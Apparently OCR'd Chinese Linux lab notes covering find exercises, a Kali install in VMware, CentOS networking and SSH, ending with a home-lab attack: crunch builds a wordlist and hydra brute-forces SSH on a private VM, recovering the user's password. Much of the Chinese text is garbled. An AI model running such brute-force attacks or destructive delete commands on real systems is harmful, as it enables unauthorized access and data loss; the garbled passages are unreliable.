[fabc/find-practic a/fTilel. txt
/abc/find-practice/data/file2.csv
/abc/find-practice a/image. jpg
abc/find-practice/backup
abc/find-practice/backup/old

f /backup/old/archive. tar.gz

3. $hiTabfE
5038 3.1: MIBRE=NY
bash

find ~/find-practice -size 0 -delete
# MIBRFTA 2= 304

[abc@xnha
[abc@xnha find-practice]$ 1s

[abc@xnha find-practice]$ cd backup/
[abc@xnha backup]$ 1s

abc@xnha backup]$ cd
ab find-practice]$ cd data/

ab datal$ cd ../logs/
ab logs]$ 1s
abcgxnha logs]$ |

[
[
[ab datal$ 1s
[
[
[

5058 3.2: E(ETIBUR
bash

find ~/find-practice -name "*.sh" -exec chmod 755 {} \;
# BAE .sh X NATHAT

SEi6 3.3: ERFEGENH

bash

touch ~/find-practice/logs/{app.log,error.log}

find ~/find-practice -name "*.log" -exec tar -czvf Tlogs.tar.gz {} +
# ¥ .log XH4THEKN Togs.tar.gz



[abc@xnha logs]$ find

M B 3 & il Bx

fdbc'flnd practlc

Iabc@xnhallug_Jﬁ 1s

app.log error.log
[abc@xnha logs]$ |}

4. SHEI5
38 4.1: PEYASEBR
bash

find ~/find-practice -path "*/backup"
{EkE backup HE

# BERA . txt 3,

5036 4.2:

bash

find ~/find-practice -name
.csv Xf#| data Hi#

# MEE

iSEEImAT S
BHASS
MEEm
BRBER

2. FEEHIR

o EIEER -delete :
o QMEBAEIRFRT

~/find-practice -name "*.log"

tar

-exec

"app. log

rfFDF.lOg

Wes

-prune -o -name .txt" -print

#£8 xargs LB

"o n

.csv" | xargs -I {} mv {} ~/find-practice/data/

Sl
find /tmp -type f -mtime +7 -delete
find / -size +100M -exec 1s -1h {} \
.old"

find . -name "* -exec mv {} {}_new \

find . -type f -exec grep "pattern" {} \

EINSTIET -print FHAETIZE.

: {HF -print0 0 xargs -0 BB (HA AR :

bash

find .

ENESLIE )

-name "*.txt"

-print0 | xargs -0 rm

1. EWHEFHEN passwdaISH

-czvf logs. tar.c



[root@localhost tmp]# find / -name passwd -type f
/sys/fs/selinux/class/passwd/perms/passwd
/etc/pam.d/passwd

/etc/passwd

/usr/bin/passwd
/usr/share/bash-completion/completions/passwd

2, FHi/tmpERPIERHENZAUG: ATSHIER
Tkagiéiéééihost tmpl# find /tmp -name "*nz*" -type f
/tmp/.nz2002.txt

linuxrp * SAFBEFT

/tmp/nz2002. txt . = — i b
7tmp/nz2001. txt AR RS T IR IE
/tmp/nz1902. txt "V JTBREAUY

/tmp/1901nz. txt
[root@localhost tmpl# find /tmp -name "*nz*" -type f|-exec rm -fr '{}' \;
[root@localhost tmpl# 1s

BEkaliiR{ERS

EEEFIRERE
Ity R HAAT HoH Z R A R 2 ?

EFEERE

() Microsoft Windows(W)
@ Linux(L)

() VMware ESX(X)

O H1it(0)

REA=(V)

Debian 10.x 64 i v

El/gkaliE debianZFE IixFRZRE

FEEN < F—#(B) ~—H(N) > ERE


af://n955

ERAAE ey
BiE A S ﬁﬁﬂ FBiNE840G
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KAL

Boot menu

Live CamdGd)
Live (andGd failsafel

Live (forensic mode)

Live USE Persistence Ccheck Kali. org-prst)
Live USE Encrypted Persistence tchecks Ealbsnrg- prat)
Graphical install

Install

Install with speech csunthesis

Advanced options

ISR

KALI

BY QFFEN ESECURITY

Select a language

Choose the language to be used for the installation process. The selected language will also be the
default language for the installed system.

Lahguage:

wrnese \simpineuy - HH M E] :‘
Chinese (Traditional) - 3z(2E8) B
Croatian = Hrvatski

Czech - Cestina B
Danish - Dansk

Dutch - Nederlands k |
Dzongkha - Em

English - English

Esperanto - Esperanto

Estonian - Eesti

Finnish - Suomi

French - Francais

Galician - Galego

Georgian - Jofeygmn

German - Deutsch ™

Screenshot Go Back Continue

X




KALI

BY OFFENSIVE SECURITY

Select your location

The selected location will be used to set your time zone and also for example to help select the system
locale. Normally this should be the country where you live.

This is a shortlist of locations based on the language you selected. Choose "other" if your location is not
listed.

Country, territory or area:

Antigua and Barbuda
Australia

Botswana

Canada

Hong Kong

India

Ireland

Israel

New Zealand
Nigeria
Philippines
Seychelles

Singapore \ ™

[ Go Back H Continue

|

Screenshot

e Sis

KALI

BY OFFENSIVE SECURITY

Configure the keyboard

Keymap to use:

American English

Albanian
Arabic

Asturian ;itﬁﬁ L |

Bangladesh
Belarusian

Bengali

Belgian

Bosnian

Brazilian

British English
Bulgarian (BDS layout)
Bulgarian (phonetic layout)
Burmese

Canadian French
Canadian Multilingual

Catalan [~

Screenshot Go Back H Continue




KALI

BY OFFENSIVE SECURITY
Configure the network

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't know what your
hostname should be, consult your network administrator. If you are setting up your own home network,
you can make something up here.

Hostname:

[kali

IREENBR

Screenshot

Go Back H Continue

KALI

BY OFFENSIVE SECURITY
Configure the network

The domain name is the part of your Internet address to the right of your host name. It is often

something that ends in .com, .net, .edu, or .org. If you are setting up a home network, you can make
something up, but make sure you use the same domain name on all your computers.
Domain name:

B LA E

Screenshot

Go Back H Continue

BB



KALI

BY OFFENSIVE SECURITY

Set up users and passwords

A user account will be created for you to use instead of the root account for non-administrative activities.

Please enter the real name of this user. This information will be used for instance as default origin for
emails sent by this user as well as any program which displays or uses the user's real name. Your full
name is a reasonable choice.

Full name for the new user:

[allen|

Y — A P

Screenshot

Go Back H Continue

KALI

BY OFFENSIVE SECURITY
Set up users and passwords

Select a username for the new account. Your first name is a reasonable choice. The username should
start with a lower-case letter, which can be followed by any combination of numbers and more lower-
case letters.

Username for your account:

[allen

ERARARIA

Screenshot

Go Back H Continue




KALI

BY OFFENSIVE SECURITY

Set up users and passwords

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.
Choose a password for the new user:

esceese

[] show Password in Clear

Please enter the same user password again to verify you have typed it correctly.
Re-enter password to verify:

(eeeeeed

[] show Password in Clear

Az FE S

Screenshot

Go Back H Continue

PRIRE

KALI

BY OFFENSIVE SECURITY

Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, if you
prefer, you can do it manually. With guided partitioning you will still have a chance later to review and
customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used.
Partitioning method:

Guided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted™{M
Manual

B3 XaediR ERZEE

Screenshot

Go Back H Continue

TIAREER



KALI

BY OFFENSIVE SECURITY

Partition disks

Mote that all data on the disk you select will be erased, but not before you have confirmed that you
really want to make the changes.

Select disk to partition:

SCSI3(0,0,0) (sda) - 42.9 GB VMware, VMware Virtual 5

Go Back H Continue

KALI

BY OFFENSIVE SECURITY

Partition disks

Selected for partitioning:
SCS13 (0,0,0) (sda) - VMware, VMware Virtual S: 42.9 GB

The disk can be partitioned using one of several different schemes. If you are unsure, choose the first
one.

Partitioning scheme:

All files in one partition (recommended for new users)

Separate fhome partition

Separate /home, /jvar, and ftmp partitions

(EREENSE

FanX

Go Back H Continue




KALI

BY OFFENSIVE SECURITY

Partition disks

Before the Logical Volume Manager can be configured, the current partitioning scheme has to be written
to disk. These changes cannot be undone.

After the Logical Volume Manager is configured, no additional changes to the partitioning scheme of
disks containing physical volumes are allowed during the installation. Please decide if you are satisfied
with the current partitioning scheme before continuing.

The partition tables of the following devices are changed:
SCSI13(0,0,0) (sda)

Write the changes to disks and configure LvM?

) No

BRSNS K BR—ERIE yes

BY OFFENSIVE SECURITY

Partition disks

You may use the whole volume group for guided partitioning, or part of it. If you use only part of it, or if
you add more disks later, then you will be able to grow logical volumes later using the LVM tools, so using
a smaller part of the volume group at installation time may offer more flexibility.

The minimum size of the selected partitioning recipe is 3.0 GB (or 7%); please note that the packages you
choose to install may require more space than this. The maximum available size is 42.7 GB.

Hint: "max" can be used as a shortcut to specify the maximum size, or enter a percentage (e.g. "20%") to
use that percentage of the maximum size.

Amount of volume group to use for guided partitioning:

[a2.7 e ]

Screenshot Go Back H Continue



KALI

BY OFFENSIVE SECURITY

Partition disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

The partition tables of the following devices are changed:
LVM VG kali-vg, LV root

LVM VG kali-vg, LV swap_1
SCS13(0,0,0) (sda)

The following partitions are going to be formatted:
LVM VG kali-vg, LV root as ext4
LVM VG kali-vg, LV swap_1 as swap
partition #1 of SCSI3 (0,0,0) (sda) as ext2

Write the changes to disks?
) No

@ Yes

IBAERRRENRZEEDEX ityes

Screenshot

FhzE

KALI

BY QFFEN S

Install the system

- Installing the system...

Copying data to disk...

R T ERNZERTE



KALI

BY OFFENSIVE SECURITY

Configure the package manager

A network mirror can be used to supplement the software that is included on the installation media. This
may also make newer versions of software available.

Use a network mirror?

o ves At IR EERESERITEY, FHEi% no
FE! ||

Screenshot

Go Back l[ Continue

KALI

BY OFFENSIVE SECURITY

Install the GRUB boot loader on a hard disk

It seems that this new installation is the only operating system on this computer. If so, it should be safe
to install the GRUB boot loader to the master boot record of your first hard drive.

warning: If the installer failed to detect another operating system that is present on your computer,

modifying the master boot record will make that operating system temporarily unbootable, though GRUB
can be manually configured later to boot it.

Install the GRUB boot loader to the master boot record?

EAEFgrubs|SxEEa

Screenshot

Go Back H Continue




KALI

BY OFFENSIVE SECURITY

Install the GRUB boot loader on a hard disk

You need to make the newly installed system bootable, by installing the GRUB boot loader on a bootable
device. The usual way to do this is to install GRUB on the master boot record of your first hard drive. If
you prefer, you can install GRUB elsewhere on the drive, or to another drive, or even to a floppy.

Device for boot loader installation:

Enter device manually
/dev/sda

fEEgrubfIEZEAIE N sda @R

Screenshot

Go Back H Continue

KALI

BY QOFFENSIV RITY
Finish the installation

Installation complete

Installation is complete, so it is time to boot into your new system. Make sure to remove the
installation media, so that you boot into the new system rather than restarting the installation.

Screenshot

Go Back H Continue




Finish the installation

Finishing the installatio|

Running removeive packages. ..
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q‘_r, 02 - Vulnerability Analysis E Kali Docs

03 - Web Application Analysis Kali Bugs

@ 04 - Database Assessment Offensive Security Training
{0 05- Password Attacks # . Exploit Database

@D 06 - wireless Attack

Eﬂ 07 - Reverse Engineering

ERAEIREE



T allen@kali: ~/Desktop

%l Favorites [l File Manager Settings
© Recently Used n Keyboard
| Al O LightDM GTK+ Greeter settings

1 Settings B MIME Type Editor
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|-=i| Print Settings
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E Removable Drives and Media
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Session and Startup
E 10 - Post Exploitation i
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12 - Reporting Tools D Window Manager

i 13- Social Engineering Tools gWiﬂdOW Manager Tweaks
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T8 allen

%°® Settings Editor
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Xfce Power Manager
Xfce Power Manager
Power manager settings
Display
Display power management

Blank after

X (Close




Xfce Power Manager

Xfce Power Manager
Power manager settings

Security

Light Locker

Automatically lock the session:
Delay locking after screensaver for

ock screen when system is going to sleep
Lock screen when system is going to sleep
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%® Settings
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03 - Web Application Analysis
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@ 06 - Wireless Attacks

@ 07 - Reverse Engineering

£ 08 - Exploitation Tools
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’[E 10 - Post Exploitation
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@ 13 - Social Engineering Tools
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7§ allen

Display

1 allen@kali: ~/Desktop

%° Settings Manager
T Accessibility

m Advanced Network Configurati...

' Appearance
o Bluetooth Adapters

o Bluetooth Manager
' Color Profiles

B Desktop
- Display

- File Manager Settings

n Keyboard

(® LightDM GTK+ Greeter settings

o MiME Type Editor
‘ Mouse and Touchpad

’ Notifications

S, OpenJDK Java 8 Policy Tool

- Panel

Display

Configure screen settings and layout

General

Virtuall
Resolution: 1360x768

Refreshrate: 60.0Hz

Rotation: MNone

Reflection: Mone




File Actions Edit View Help
+ New Tab Ctri+Shift+T

Mew Tab From Preset
= Close Tab Ctri+Shift+W
2 New Window Ctrl+Shift+MN

Preferences...

8 Quit

Appearance
Behavior
Shortcuts
Dropdown
Bookmarks Widget style System Default v

Font Fira Code 1@ pt | Change...

Color scheme Kali-Dark v

Scrollbar position Right
Tabs position Top

Select Terminal Font
Curs

w < Select Terminal Font
¥ | Font: Bitstream Vera Sans Mono
] Size: 15

Preview

Bitstream Vera Sans Mono 1Ff

® Cancel . ¥ 0K

+ Show terminal size on resize

+ Enable bi-directional text support
Application transparency
Terminal transparency
Background image: Select
Start with preset: Mone (single terminal)

Terminal margin 10px

EE—TERRENA

Background image: Select
Start with preset: None (single terminal)

Terminal margin 10px




File Actions Edit View Help

$ sudo fdisk -1

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for allen:

Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors
Disk model: VMware Virtual S

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/0 size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos

Disk identifier: 0xd03d8234

Device Boot Start End Sectors Size Id Type
/dev/sdal * 2048 499711 497664 243M 83 Linux

F3IlinuxiiMfERFRITIZIZH
xshell 4.0 ZEMNIHMEE MRANIEE home/scholl free SBERRRAN,
B AFA linux centos7 ipitbiik

[root@localhost tmpl# systemctl disable libvirtd.service

Removed symlink /etc/systemd/system/multi-user.target.wants/libvirtd.service.
Removed symlink /etc/systemd/system/sockets.target.wants/virtlogd.socket.
Removed symlink /etc/systemd/system/sockets.target.wants/virtlockd.socket.
[root@localhost tmp]# systemctl reboot

§t3dcentos? MILEECERI SEXHEMMF EREAEH

HAR-REFR Bx3RENpieiL

4% Applications  Places  Terminal RSN @ 4) O
root@localhost:~
LENE 2 |

File Edit View Search Terminal Help EEW‘E ipﬂ_h.tltag
[root@localhost ~]# ip addr

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN groupt\,‘waredm -

link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 s

inet 127.0.0.1/8 scope host lo Wired Settings
valid_1ft forever preferred_lft forever Py =t A Goe

inet6é ::1/128 scope host &ddhcp 3 on

valid_1ft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo_fast stat( @ testonintse
n 1000 0
link/ether 00:0c:29:d3:3a:a0 brd ff:ff:ff:ff:ff:ff
[root@localhost ~1# []

v v v ¥

> a 9}

ens33 PI-RR#R LENEHipitit

HiAcentos7 FIEHEI LA BiE


af://n1008

% Applications  Places  lerminal E TR RS S S S S

=

B Eh o ) T GEp XHF REE BHV) IRN SOW) =EH
[root@localhost ~]# ip addr Oz - Exss |G- PG ®-2-9-A- 9V 858 =200
1: lo: <LOOPBACK,UP,LOWER UP> mtu € s, - 1aisshen «
link/loopback 00:00:00:00:00:0(x o771 4 (Build 0129)
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred]

inet6 ::1/128 scope host . ,
valid_1ft forever preferred Type " help' to learn how to use Xshell prompt.

2: ens33: <BE0ADCAST,MULTICAST,UP,-XShell:\> ping 192.168.226.139 FAIRZEENxshell FUEFTILApingiEiZ BRI
" 1°$§nk,ethe, 00:0¢:29:d3:3a:a0 bi!:7E Ping 192.168.226.139 FLAT 32 = (1% :

inet EPIFUEIPFIREEE)/24 brd 191K 192.168.226.139 [l F47=32 Hf[ul<lms TTL=64

valid_Lft 1761lsec preferred || 192.168.226.139 [[l3L: F°47=32 Kf[il<lms TTL=64

inet6 fe80::e222:6154:eabf:7f4531C 1| 192.168.226.139 [[EIE : F47=32 H)|i<lms TTL=64

valid_Lft forever preferred|>ic| 192.168.226.139 Rl : F45=32 HJ[i]=2ms TTL=64

[root@localhost ~1# ]

Copyright (c) 2002-2013 NetSarang Computer, Inc. All rights reserved.

192.168.226.139 [ Ping Fiilfs -

centos7 ERIH-ERnatis _M%@ LIk = 4, OB = 4, Bk =0 (08 EK),
IREREI—A" ipitit HEIRATHE LIqu1JrHJIIII(LJ D FLAL) -
5 = oms, K = 2ms, T = Oms
Xshell:\>

ffiiNkaliflcentos8HI&E

valid 1ft forever preferred 1ft forever
2: ethO: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 gdisc pfifo fast state UP grou
p default glen 1000
link/ether 00:0c:29:17:05:37 brd ff:ff:ff:ff:ff:ff
inet [EPITEIPPIIPLL/ 24 brd 192.168.226.255 scope global dynamic noprefixroute
etho
valid 1ft 1548sec preferred 1ft 1548sec
inetb fe80::20c:29ff:felf:537/64 scope link noprefixroute
valid Lft forever preferred 1ft forever
$ ping -c4 192.168.226.139

PING 192.168 226.139 (192.168.226.139) 56(84) bytes of data.
from 192.168.226.139: icmp seg=1 ttl=64 time=1.88 ms
from 192.168.226.139: icmp seq=2 ttl=64 time=0.838 ms
from 192.168.226.139: icmp seg=3 ttl=64 time=0.752 ms
from 192.168.226.139: icmp seq=4 ttl=64 time=4.70 ms

--- 192.168.226.139 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3030ms
rtt min/avg/max/mdev = 0.752/2.042/4.699/1.596 ms

Y |

RESHS:

. windows=EHEiTIxshell§EE centos78F HizHl

LN

[root@localhost ~]# ss -antplu

Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 *:5353 o
users: (("avahi-daemon", pid=750,fd=12))

udp UNCONN 0 0 *:53035 L
users: (("avahi- daemon".pld 750,fd=13)) —

udp  UNCONN [ *:871 centos7 AR TIinfREE *; *
users: (("rpcbind", pid= 708 fd=7)) wOS

udp UNCONN 0 0 *:68 * gk
users: (("dhclient",pid= 2438 fd=6))

udp UNCONN 0 *1111 o
users: (("rpcbhind", pid= 700 fd=6))

udp UNCONN 0 0 111871 .
users: (("rpcbhind", pid=700, fd=10))

udp UNCONN 0 0 11111 HH
users: (("rpcbhind", pid=700, fd=9))

tcp LISTEN 0 128 *:111 * gk
!Isgts. ([u[n;hjndu njd=zﬂg fd=§))

tcp LISTEN 0 128 *1:122 o
users: (("sshd",pid=963, fd=3))

tcp  LISTEN 0] 178 127.0.0.1:631 *yk

_users: ({"cupsd",pid=962, fd=12))

L3E



af://n1018

FKH 192.168.226.139 MIIRIE: F=32 =H=s55 rooxX |

/ - g2 e,
192.168.226.139 [I) Ping Hrilf5 K 192.168.226.139 (K01 u)ﬁzﬂ*ﬁ*ﬁxiﬂzmﬁmmﬁ*m«

B : Akik = 4, Ol = 4, 3 TR SR I AT AR HL
(I AT FE A THE [R) (LASE RPNy FfL) - . ’
¥ = Oms, S = 2ms, TP =0 SREREEENT

i cos s 28R
ssh-rsa 2048 27:76:ch:33:b1:96: 1a:82:df:6c: 12:4f:d9:68:20:27

ERHENES?

Zonnecting to 192.168.226.139:22... —reago || sEamse || ma
Connection established.

o escape to local shell, press 'Ctrl+Alt+]'.

{shell:\>|ssh root@192.168.226.139

N =AY

[root@localhost ~]# ip addr
1: lo: <LOOPBACK, UP,LOWER UP> mtu 65536 gdisc noqueue state UNKNOWN group defau
1t glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid 1ft forever preferred 1lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 gdisc pfifo fast state UP
group default glen 1000
link/ether 00:0c:29:d3:3a:a0 brd ff:ff:ff:ff:ff:ff
inet 192.168.226.139/24 brd 192.168.226.255 scope global noprefixroute dyna
mic ens33
valid 1ft 149lsec preferred 1ft 149lsec
inet6 fe80::e222:6154:eabf: 7f45/64 scope link noprefixroute
valid_1ft forever preferred 1ft forever

[root@localhost ~]1# [] AR

2, HRIEEFFINGS HITETSURIDHT
Ivar/log/secure BERHEE REBMARFERKIE ZXHEHSMICR

a* Applications  Places  Terminal F Tuele2s @ & ) O

root@localhost:/var/log - @ x

File Edit View Search Terminal Help

Jun 9 16:20:20 localhost sshd[3176]: Accepted password for root from 192.168.226.1 port 62116 s
sh2

Jun 9 16:20:20 localhost sshd[3176]: pam_unix(sshd:session): session opened for user root by (u
id=0)

i@ tail -f &SRR /var/log/secure ALIEZIERER
BALEIEHER, EULUEIEREWER

Jun 9 16:27:34 localhost sshd[3176]: error: Received disconnect from 192.168.226.1 port 62116:0

Jun 9 16:27:34 localhost sshd[3176]: Disconnected from 192.168.226.1 port 62116
Jun 9 16:27:34 localhost sshd[3176]: pam_unix(sshd:session): session closed for user root

[ Bl reot@locathostariog 174

BERIB—FHT



[root@localhost log]# grep "Failed password" /var/log/secure

Jun 9 16:29:40 localhost sshd[3382]: Failed password for root from 192.168.226.1 port 62269 ssh
iun 9 16:29:46 localhost sshd[3382]: Failed password for root from 192.168.226.1 port 62269 ssh
gun 9 16:29:50 localhost sshd[3382]: Failed password for root from 192.168.226.1 port 62269 ssh
gun 9 16:29:53 localhost sshd[3382]: Failed password for root from 192.168.226.1 port 62269 ssh
iun 9 16:29:57 localhost sshd[3382]: Failed password for root from 192.168.226.1 port 62269 ssh
gun 9 16:29:59 localhost sshd[3382]: Failed password for root from 192.168.226.1 port 62269 ssh
gun 9 16:30:13 localhost sshd[3404]: Failed password for root from 192.168.226.1 port 62276 ssh
%root@localhost logl# [

BEidgrep i RRETEBEER

3. FI—TkaliBER S 1B T EEUTX sshiRSZ KR ERM.,
WIFFEkalifsshiRSE

$ systemctl start ssh
: $ sudo ss -anputl
Netid State Recv-Q  Send-Q Local Address:Port Peer Address:Port
Process
tecp LISTEN © 128 0.0.0.0:22 0.0.0.0:%
users: (("sshd",pid=1711, fd=3))
tcp LISTEN © 128 [::]1:22 HHH
users:(("sshd",pld 1711, fd=4))
$ sudo systemctl enable ssh
Synchronlzlng state of ssh.service with SysV service script with /lib/systemd/syst
emd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable ssh
Created symlink /etc/systemd/system/sshd.service - /lib/systemd/system/ssh.service

Created symlink /etc/systemd/system/multi-user.target.wants/ssh.service - /lib/sys
temd/system/ssh.service.

Y |

kaliZF U aimfiEE Fcentos?

E $ ssh root@192.168.226.139
he authent1c1ty of host '192.168.226.139 (192.168.226.139)' can't be established.
ECDSA key fingerprint is SHA256:w3VWNTKEFXsDhV1dzOrGzvnmYYMTQuTb4Y1lk/tXSJInc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
arning: Permanently added '192.168.226.139' (ECDSA) to the list of known hosts.
root@192.168.226.139's password:
Last failed login: Tue Jun 9 16:30:13 CST 2020 from 192.168.226.1 on ssh:notty
here were 7 failed login attempts since the last successful login.
Last login: Tue Jun 9 16:20:20 2020 from 192.168.226.1
[root@localhost ~]# ip addr

1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 gdisc noqueue state UNKNOWN group default
glen 1000

link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid 1ft forever preferred lft forever
: ens33: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 gdisc pfifo fast state UP gro
up default glen 1000
link/ether 00:0c:29:d3:3a:a0 brd ff:ff:ff:ff:ff:ff

4. Acentos8FHAJallenIKFERBIZES 66 RiGFIFEKkaliE— N EF=xE, HEFIRIER

centosF Bk E
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[root@localhost log]# passwd allen

Changing password for user allen. 1BalleZEfB(E20 066
New password: 66

BAD PASSWORD: The password is a palindrome

Retype new password: 66

passwd: all authentication tokens updated successfully.
[root@localhost logl#

kaliZ 7 — et

$ crunch --help

crunch version 3.6

Crunch can create a wordlist based on criteria you specify. The output from crunc
h can be sent to the screen, file, or to another program.

Usage: crunch <min> <max> [options]
where min and max are numbers

Please refer to the man page for instructions and examples on how to use crunch.
: $ crunch 1 2 0123456789 > /tmp/password.txt

Crunch w111 now generate the following amount of data: 320 bytes

0 MB

0 GB

0 TB

0 PB

Crunch will now generate the following number of lines: 110

Y |

T fEhydraf9/iL

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/t
hc-hydra

Don't use in military or secret service organizations, or for illegal purposes.
These services were not compiled in: afp ncp oracle sapr3.

Use HYDRA PROXY HTTP or HYDRA PROXY environment variables for a proxy setup.
E.g. % export HYDRA PROXY=socks5://1:p@127.0.0.1:9150 (or: socks4:// connect://)
export HYDRA PROXY=connect and socks proxylist.txt (up to 64 entries)

export HYDRA PROXY HTTP=http://login:pass@proxy:8080
export HYDRA PROXY HTTP=proxylist.txt (up to 64 entries)

Examples:
hydra -1 user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -1 admin -p password ftp://[192.168.0.0/24]1/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
: $ hydra -1 allen -P /tmp/password.txt ssh://192.168.226.139]

JRHREXTH



Examples:
hydra -1 user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -1 admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

: $ hydra -1 allen -P /tmp/password.txt ssh://192.168.226.139
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret se
rvice organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-09 16:54:29

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recomm

ended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 110 login tries (l:1/p:110), ~

7 tries per task

[DATA] attacking ssh://192.168.226.139:22/

[22] [ssh] host: 192.168.226.139 login: allen password: 66

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.iom/vanhauser-thc/thc-hydra) finished at 2020-06-09 16:55:00
: $
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